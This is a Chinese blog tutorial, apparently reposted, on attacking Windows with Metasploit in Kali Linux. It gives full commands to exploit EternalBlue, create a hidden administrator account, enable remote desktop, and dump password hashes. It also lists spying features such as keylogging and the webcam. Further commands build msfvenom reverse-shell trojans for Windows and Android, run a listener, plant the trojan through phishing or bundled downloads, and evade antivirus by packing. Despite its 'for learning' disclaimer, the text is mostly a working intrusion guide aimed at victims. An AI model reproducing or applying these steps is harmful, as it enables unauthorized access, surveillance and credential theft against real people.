进入黑客的世界:Kali Linux 中的 Metasploit 渗透测试利器
數據來源
??本文僅用于信息安全學習,請遵守相關法律法規,嚴禁用于非法途徑。若觀眾因此作出任何危害網絡安全的行為,后果自負,與本人無關。?
得到ip地址我們能干嘛?
????????首先進行端口掃描
為什么要進行端口掃描?
????????端口掃描的作用就是發現目標主機開放的端口及其對應開放的服務,攻擊者通過發現及利用服務所存在的漏洞,入侵目標主機。
-?Nmap?-掃描器之王
metasploit是什么?
????????msf是一款開源安全漏洞利用和測試工具,集成了各種平臺上常見的溢岀漏洞和流行的 shellcode,并持續保持更新。
????????netasploiti讓復雜的漏洞攻擊流程變的非常簡單,一個電腦小白經過幾小時的學習,就能對操作系統等主流漏洞發起危害性攻擊。?
啟動 metasploit 前需要做:
- 打開ka終端
- 使用 sudo su命令,并輸入kali的密碼kali,切換至root用戶
- 使用 msfdb init命令初始化 metasploit數據庫(*可選)?
metasploit攻擊 windows操作系統
????????msfconsole? ? ? ? ? ?#?啟動 metasploita命令行【命令行效率高,使用方便】
msf使用法則:
????????使用模塊? ->? 配置模塊必選項? ->? 運行模塊。??????? 三步操作,就能實現對主流漏洞的攻擊?
永恒之藍漏洞:
????????永恒之藍是指2017年4月14日晚,黑客團體 ShadowBrokers(影子經紀人)公布一大批網絡攻擊工具,其中包含“永恒之藍”工具,“永恒之藍”利用 Windows系統的SMB漏洞可以獲取系統最高權限。5月12日,不法分子通過改造“永恒之藍”制作了 Wannacry勒索病毒,英國、俄羅斯、整個歐洲以及中國國內多個高校校內網、大型企業內網和政府機構專網中招,被勒索支付高額贖金才能解密恢復文件。
metasploit攻擊永恒之藍全流程:
1. 使用模塊
????????use exploit/windows/smb/ms17_010_eternalblue
2. 設置必選項
????????查看必選項【*required 為yes的就是必選項】?
????????show options
或者
1. 搜索漏洞編號:
????????search ms17_010? ? ? ?# 搜索2017年的10號漏洞永恒之藍(微軟定義),search 使用
2.?使用模塊
?????????可以通過模塊名稱或模塊編號使用模塊
????????use exploit/windows/smb/ms17_010_eternalblue? # 通過模塊名稱使用模塊
????????或(選擇一種方式即可)
????????use 0? ??????????????????????????????????????????????????????????????????????????# 通過模塊編號使用模塊
3. 查看模塊所需要的配置內容
????????show options? ? ? ? ? ? ? # 可以按tab鍵自動補全命令,show?顯示/展示? ?options? 選項
????????必選項是:yes 的就是必選設置,一些是有默認的,一些是沒有默認的就需要我們添加,如目標主機狀態是yes,但是當前設置時空。
實驗:
????????1、準備一臺靶機(我這里開了一臺winXP),并查看靶機的IP地址(等下用做攻擊目標)
????????ipconfig????????? # 查看本機IP地址
? ? ? ??ifconfig eth0? # kali查看IP?
?2、回到kli設置metasploit的必選項,攻擊目標這些
?????????set RHOSTS 192.168.0.103? ?# 設置目標IP地址,set? (設置)RHOSTS 目標主機的名稱,代表你要攻擊誰,目標主機地址也可以寫一個范圍如:192.168.0.103-254
????????show options? ? ? ? ? ? ? # show?顯示/展示? ?options? 選項,查看還有什么需要設置的
????????set payload windows/x64/meterpreter/reverse_tcp? #?payload 是攻擊載荷,就是攻擊完成后想干啥,這里是想獲取 meterpreter (默認就是這個)meterpreter是 metasploit 后滲透的神器?
????????set LHOST 192.168.0.102????????? #?LHOSTS為 listen host (偵聽主機)代表你是誰,既kali的IP地址默認就是kali自己的IP地址,如果你的不是那就可以修改
????????set lport 10001? ?# 將端口設置為10001,代表你要在kali上開啟的端口,1-65535隨便選,但不能被占用,默認的端口是:4444,為了攻擊的成功率可以改一下
????????show options? ? ? ? ? ? ? # 查看配置
?3、啟動運行模塊,開啟攻擊
????????命令:run
????????我這里攻擊失敗了,原因:192.168.0.103:445-由于失敗而中止利用漏洞:無目標:此模塊僅支持x64(64位)目標?????????
開一臺64位操作系統的虛擬機,繼續實驗
繼續查看主機IP
重新設置攻擊目標
?????set RHOSTS?192.168.0.106???# 設置目標IP地址
?啟動運行模塊,開啟攻擊
????????命令:run
?????攻擊成功命令行就會來到meterpreter>,這里就是拿到了目標主機的權限?
?攻擊成功,拿到了對方的權限可以干嘛?可以輸入:help? ?# 查看幫助
?核心命令
| 命令? ? | 說明 |
| ? | “幫助”菜單 |
| ?background? | 當前會話的背景 |
| bg | 背景別名 |
| bgkill | 殺死背景meterpreter腳本 |
| bglist | 列出正在運行的后臺腳本 |
| bgrun | 作為后臺線程執行meterpreter腳本 |
| channel | 顯示信息或控制活動通道 |
| close | 關閉頻道 |
| detach | 分離meterpreter會話(對于http/https) |
| disable_unicode_encoding | 禁用unicode字符串的編碼 |
| enable_unicode_encoding | 啟用unicode字符串的編碼 |
| exit ? ? ? ? ? ? ? ? ? ? ? | 終止meterpreter會話 |
| get_timeouts | 獲取當前會話超時值 |
| guid | 獲取會話guid |
| help ? ? ? ? ? ? ? ? ? ? ? | 幫助菜單 |
| info | 顯示有關Post模塊的信息 |
| irb | 在當前會話上打開交互式Ruby shell |
| load ? ? ? ? ? ? ? ? ? ? ? | 加載一個或多個meterpreter擴展 |
| machine_id | 獲取連接到會話的計算機的MSF id |
| migrate ? ? ? ? ? ? ? ? ?? | 將服務器遷移到另一個進程 |
| pivot | 管理數據透視偵聽器 |
| pry ? ? ? ? ? ? ? ? ? ? ?? | 在當前會話上打開Pry調試器 |
| quit ? ? ? ? ? ? ? ? ? ? ? | 終止meterpreter會話 |
| read | 從通道讀取數據 |
| resource | 運行存儲在文件中的命令 |
| run | 執行meterpreter腳本或Post模塊 |
| secure ? ? ? ? ? ? ? ? ? ? | (重新)協商TLV數據包加密 |
| sessions ? ? ? ? ? ? ? ? ? | 快速切換到另一個會話 |
| set_timeouts | 設置當前會話超時值 |
| sleep | 強制儀表安靜,然后重新建立會話,用法:用法:sleep<秒數> |
| ssl_verify | 修改ssl證書驗證設置 |
| transport ? ? ? ? ? ? ? ?? | 管理運輸機制 |
| use | “load”的別名已棄用 |
| uuid | 獲取當前會話的uuid |
| write | 將數據寫入通道 |
Stdapi:文件系統命令
| 命令 | 說明 |
| cat | 將文件的內容讀到屏幕上 |
| cd | 更改目錄 |
| checksum | 檢索文件的校驗和 |
| cp | 將源復制到目標 |
| del | 刪除指定的文件 |
| dir | 列表文件(ls的別名) |
| download | 下載文件或目錄 |
| edit ? ? ? ? ? | 編輯文件 |
| getlwd | 打印本地工作目錄 |
| getwd | 打印工作目錄 |
| lcat | 將本地文件的內容讀取到屏幕 |
| lcd | 更改本地工作目錄 |
| lls | 列出本地文件 |
| lpwd | 打印本地工作目錄 |
| ls | 列表文件 |
| mkdir | 創建新目錄 |
| mv | 將源文件移動到目標 |
| pwd | 打印工作目錄 |
| rm | 刪除指定的文件 |
| rmdir | 刪除目錄 |
| search ? ? ? ? | 搜索文件 |
| show_mount | 列出所有裝載點/邏輯驅動器 |
| upload | 上載文件或目目錄(可以用來上傳文件到對方電腦) |
Stdapi:網絡命令
| 命令 | 說明 |
| arp | 顯示主機arp緩存 |
| getproxy | 顯示當前代理配置 |
| ifconfig | 顯示界面 |
| ipconfig | 顯示IP界面 |
| netstat | 顯示網絡連接與對方開放的端口 |
| portfwd | 將本地端口轉發到遠程服務 |
| resolve ? ? ?? | 解析目標上的一組主機名 |
| route | 查看和修改路由表 |
Stdapi:系統命令
| 命令 | 說明 |
| clearev | 清除事件日志 |
| drop_token | 放棄任何活動模擬令牌。 |
| execute ? ? ?? | 執行命令 |
| getenv | 獲取一個或多個環境變量值 |
| getpid | 獲取當前進程標識符 |
| getprivs | 嘗試啟用當前進程可用的所有權限 |
| getsid | 獲取服務器正在運行的用戶的SID |
| getuid | 獲取服務器運行的用戶 |
| kill | 終止進程 |
| localtime | 顯示目標系統的本地日期和時間 |
| pgrep | 按名稱篩選進程 |
| pkill | 按名稱終止進程 |
| ps | 列出正在運行的進程 |
| reboot | 重新啟動遠程計算機 |
| reg | 修改并與遠程注冊表交互 |
| rev2self | 在遠程計算機上調用RevertToSelf() |
| shell | 放入系統命令shell |
| shutdown | 關閉遠程計算機 |
| stealt_token | 嘗試從目標進程中竊取模擬令牌 |
| suspend | 暫停或恢復進程列表 |
| sysinfo | 獲取有關遠程系統的信息,如操作系統 |
Stdapi:用戶界面命令
| 命令 | 說明 |
| enumdesktops | 列出所有可訪問的桌面和窗口工作站 |
| getdesktop | 獲取當前meterpreter桌面 |
| idletime | 返回遠程用戶空閑的秒數 |
| keyboard_send | 發送鍵擊 |
| keyevent | 發送按鍵事件 |
| keyscan_dump | 轉儲擊鍵緩沖區 |
| keyscan_start | 開始捕獲擊鍵 |
| keyscan_stop | 停止捕獲擊鍵 |
| mouse | 發送鼠標事件 |
| screenshare ? ? | 共享實時監視遠程用戶桌面 |
| screenshot ? ?? | 截圖,獲取交互式桌面的截圖 |
| setdesktop | 更改meterpreters當前桌面 |
| uictl | 控制一些用戶界面組件 |
Stdapi:正在使用網絡攝像頭命令
| 命令 | 說明 |
| record_mic | 從默認麥克風錄制音頻X秒 |
| webcam_chat | 開始視頻聊天 |
| webcam_list | 列出網絡攝像頭 |
| webcam_snap | 從指定的網絡攝像機拍攝快照 |
| webcam_stream | 從指定的網絡攝像機播放視頻流(打開攝像頭) |
Stdapi:音頻輸出命令
| 命令 | 說明 |
| play? | 在目標系統上播放波形音頻文件(.wav) |
Priv:提升命令
| 命令 | 說明 |
| getsystem | 嘗試將您的權限提升到本地系統的權限 |
密碼數據庫命令
| 命令 | 說明 |
| hashdump | 轉儲SAM數據庫的內容 |
Priv:時間戳命令
| 命令 | 說明 |
| timestomp | 操縱文件MACE屬性 |
攻擊成功后的命令使用:
????????攻擊成功后成功獲取到對方主機的權限,上面的這操作命令直接輸入到命令行使用就行了
?注意:上面表格中的命令我也沒有仔細檢查過,如果使用時出現報錯那應該是我填錯了,這時可以輸入命令:
????????help? ?# 查看幫助,按類型獲取到正確的命令,也可以在下方給我留言我會及時更改。
攻擊成功后的使用示例:?
????????攻擊成功后能做什么meterpreter是強大的后滲透模塊,可以輸入help查看幫助信息
????????遠程控制、命令執行、攝像頭監控、密碼獲取、創建后門用戶、破壞篡改系統...這些看起來非常復雜又高級的操作都能用 meterpreter中一行或幾個字母,簡單的命令完成
例:創建后門用戶并開啟遠程連接(3389)?
????????shell? ? ??????????????????????????????????????????????????????#?啟動dos窗口,這樣就能使用DOS 命令
????????chcp 65001? ????????????????????????????????????????????# 默認情況下編碼為936,中文會出現亂碼問題,65001為UTF-8的代碼頁,可以正常顯示中文
????????net user zhangsan 123456 /add & net localgroup administrators zhangsan /add?
????????或分開執行
????????net user zhangsan 123456 /add?? ? ? ? ? ? ?# 創建一個用戶名為“zhangsan ”密碼是“123456 ”
????????net localgroup administrators zhangsan /add?? ?# 將zhangsan 加入到管理員組(提升權限)
????????exit????????????????? ? ? ? ? ? ?? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?# 退到上一級目錄(這里是退出dos窗口回到,meterpreter >?)
????????getsystem? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??? ? ??#??先將當前的session提升為system權限(以防萬一)
????????run post/windows/manage/enable_rdp? ?#??利用此后滲透模塊即可直接開啟遠程桌面,開啟受害者主機3389端口(遠程桌面連接端口)
????????這樣一套命令下來,以后我們就可以直接使用?zhangsan 這個賬號登錄3389端口的遠程桌面服務,遠程控制目標主機(mstsc -v 目標ip)
rdesktop 192.168.0.103:3389? # 連接受害者主機的遠程桌面,如下圖所示:
需要注意的是你登錄了,對方會被你擠下線?
1)使用Kali滲透工具生成遠控木馬
????????想遠程控制別人?msfvenom 生成遠控木馬了解一下
????????msfvenom 是用來生成后門的軟件,在目標機上執行后門,在本地監聽上線。
? ? ? 【* msfvenom在shell里使用,不是 msfconsole 終端】
????????payload????????攻擊載荷?
????????windows?? ? ??是指微軟的windows操作系統,如果目標是其他系統這里就改成其他系統名稱如:Linux
? ? ? ? lhost?? ? ? ? ? ? ??代表你是誰,既kali的IP地址
????????lport? ? ? ? ? ? ??代表你要在kali上開啟的端口,1-65535隨便選,但不能被占用
????????-f? ? ? ? ? ? ? ? ? ??是指format(格式)
????????exe ???????????????是windows格式文件,是指生成木馬文件的文件格式,exe 和 dll(Windows 系列)、elf(Linux 系列)和 Mach-O(Mac系列)
? ? ? ? -o? ? ? ? ? ? ? ? ? 是指output(輸出),后面跟的demo.exe是文件名,自定義隨便改。
????????msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.102?lport=9988?-f exe -o demo.exe?
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.89 LPORT=9988 R > /home/kali/Desktop/lanxf.apk
?
?生成木馬文件示例:
????????輸入:exit? ? # 退回上一級,直到回到kali的命令行中
?????????msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.102 lport=9988 -f exe -o demo999.exe? ?# 生成木馬文件
????????現在文件就生成到桌面的我們可以在桌面查看文件?
?????????這個文件可以通過郵箱或其他社交平臺發送給對方,然后對方運行了之后我們就可以對他電腦進行遠程控制(不過一般情況下會被對方的殺毒軟件直接殺死)如下面這樣,我們直接把木馬文件復制到自己的真實機,殺毒軟件會自動檢測并殺死。
????????注意:這里是在命令行的桌面路徑下輸入命令所以文件默認是生成在桌面,如果想改生成文件的位置,那就把命令后面的文件名改成路徑加文件名,如:/home/kali/demo999.exe? ?。或者使用命令:cd 路徑? ?# 更改命令行的路徑
生成木馬就完事?把木馬文件發送到目標主機
(注意這一步需要使用上面寫的方法通過metasploit獲取到目標的權限才行,如果對方電腦沒有漏洞獲取不到對方權限,那就需要用釣魚的方式讓受害者自己下載,比如我們在百度上下載的軟件都有很多捆綁軟件)
????????pwd?????????????????????????????????????????????????????????????????# 打印目標的工作目錄
????????upload /home/kali/桌面/demo999.exe? ????????# 把木馬文件發送到目標的電腦上
???????upload /home/kali/桌面/demo999.exe d:\\? ? # 也可以指定文件路徑,發送到對方的D盤根目錄下
記得在 msfconsole里開啟監聽,等待受害者運行上鉤?
????????現在有了木馬文件,我們要讓別人下載,俗稱:“釣魚”?
首先:制作魚鉤
????????msfconsole?????????????????????????# 啟動 metasploita命令行
????????use exploit/multi/handler? ?# 使用模塊
????????show options? ? ? ? ? ? ? ? ? ? ? ? # 查看設置,查看這個模塊需要配置那些選項才能使用
1)設置攻擊載荷:
?????????set payload windows/x64/meterpreter/reverse_tcp? ?# 這個攻擊載荷就是上面我們使用的攻擊載荷
????????show options? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? # 查看設置
2)設置偵聽地址
????????set LHOST 192.168.0.102????????? #?LHOSTS為 listen host (偵聽主機)代表你是誰,既kali的IP地址
????????show options? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? # 查看設置
3)設置幀聽端口:
????????set lport?9988? ?# 就是要在kali上要開啟的端口,注意這里的端口要和前面生成木馬文件的端口一樣,我上面是用9988端口這里也要9988端口,默認的端口是4444
4)運行模塊:run? ?# 簡單理解就是把魚鉤放到河里
現在我們要做的就是等待魚兒上鉤:
- 方法一:我們主動將鉤子摁到魚兒上(利用漏洞)
- 方法二:姜太公釣魚,愿者上鉤!
假設目標通過網上下載了其他軟件比如啥直播、游戲之類的,然后我的木馬文件也和這些軟件綁定了,他也運行了,之后我們就可以對他進行些操作。
通過命令運行對方的木馬文件(需要使用上面寫的方法通過metasploit獲取到目標的權限)
????????execute -H -i -f demo999.exe? ? ? ? ? # 運行demo999.exe這個剛才我們發到目標過去的木馬文件,?-H 不可見,-i 交互
?然后輸入:???help? ?# 查看通過這個木馬文件我們能干啥,可以使用的功能和我上面列出來的命令一樣
| webcam_list | 列出網絡攝像頭(查看對方的電腦有沒有攝像頭) |
| webcam_stream | 從指定的網絡攝像機播放視頻流(打開攝像頭) |
我這里的目標是虛擬機所以這塊,響應的信息是沒有?
?
?ctrl + c 退出監控
殺毒軟件會查殺怎么辦?一招教你躲避火絨的探測
????????最基礎的免殺【*對于其他殺毒軟件效果不同,具體情況請自行嘗試】
捆綁木馬(現在基本沒效果,殺毒軟件的技術更新了)
????????msfvenom -p windows/64/meterpreter/reverse tcp lhost=192.168.0.102?lport=9999 -f? exe-xnotepad++. exe -o notepad++.exe? ??
?加殼:壓縮殼、加密殼
如:Themida
使用示例:
????????打開軟件?
然后耐心等待加密過程,最后加密成功的界面如下,之后就可以關閉軟件了。
然后可以復制到真實機上測試
?????????后門木馬請勿隨意傳播,如果造成危害屬于提供計算機操作系統入侵工具罪及非法入侵計算機操作系統數罪并罰。
總結
以上是生活随笔為你收集整理的进入黑客的世界:Kali Linux 中的 Metasploit 渗透测试利器的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 悲催的手机
- 下一篇: SAP案例教程FIAR应收账款后台配置